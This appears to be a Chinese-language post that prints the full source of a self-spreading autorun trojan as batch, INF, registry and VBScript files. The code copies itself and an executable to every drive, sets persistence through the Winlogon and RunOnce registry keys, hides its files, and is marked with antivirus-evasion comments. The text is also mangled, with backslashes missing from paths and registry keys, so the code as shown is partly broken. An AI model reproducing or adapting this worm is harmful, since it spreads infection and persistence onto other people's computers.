一个木马的运行代码

autorun.bat @echo off if exist .autorun.reg regedit /s .autorun.reg if not “%1″==”” goto open if exist autorun.vbs start WScript.exe autorun.vbs&exit ‘;免杀 if exist %SYSTEMROOT%system32autorun.vbs start WScript.exe %SYSTEMROOT%system32autorun.vbs&exit ‘;免杀 :open if not “%1″==”Open” goto next start explorer . exit :next if not “%1″==”Over” goto :next2 exit :next2 if “%1″==”-” attrib -s -a -h -r %2autorun.* if “%1″==”-” attrib -s -a -h -r %2sxs.exe if “%1″==”+” attrib +s +a +h +r %2autorun.* if “%1″==”+” attrib +s +a +h +r %2sxs.exe :end autorun.inf [autorun] shellopen=打开(&O) shellopenCommand=WScript.exe .autorun.vbs shellopenDefault=1 shellexplore=资源管理器(&X) shellexploreCommand=WScript.exe .autorun.vbs autorun.reg windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] “Userinit”=”userinit.exe,autorun.bat” [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionRunOnce] “autorun”=”sxs.exe” [HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced] “ShowSuperHidden”=dword:00000000 “Hidden”=dword:00000002 autorun.vbs on error resume next Set WshShell =CreateObject(“WScript.Shell”) if 1=0 then else For i=1 to 1 set Of = CreateObject(“Scripting.FileSystemObject”) set dir = Of.GetSpecialFolder(1) Set dc = Of.Drives if WScript.ScriptFullName=dir&”autorun.vbs” then isdir=true else a=WshShell.Run(“autorun.bat Open” ,0,False) isdir=false end if For Each d In dc If d.DriveType = 2 or d.DriveType = 3 or (d.DriveType = 1 and d<>“A:” and d<> “B:”) Then a=WshShell.Run(“autorun.bat – “&d ,0,True) if isdir then Of.CopyFile dir&”autorun.bat”,d&””,True Of.CopyFile dir&”sxs.exe”,d&””,True Of.CopyFile dir&”autorun.inf”,d&””,True Of.CopyFile dir&”autorun.reg”,d&””,True Of.CopyFile dir&”autorun.vbs”,d&””,True else Of.CopyFile “autorun.bat”,d&””,True Of.CopyFile “sxs.exe”,d&””,True Of.CopyFile “autorun.inf”,d&””,True Of.CopyFile “autorun.reg”,d&””,True Of.CopyFile “autorun.vbs”,d&””,True end if a=WshShell.Run(“autorun.bat + “&d ,0,True) End If next if isdir then wscript.sleep 60000 i=0 else a=WshShell.Run(“autorun.bat – “&dir ,0,True) Of.CopyFile “autorun.bat”,dir&””,True Of.CopyFile “sxs.exe”,dir&””,True Of.CopyFile “autorun.inf”,dir&””,True Of.CopyFile “autorun.reg”,dir&””,True Of.CopyFile “autorun.vbs”,dir&””,True a=WshShell.Run(“autorun.bat + “&dir ,0,True) End if next End if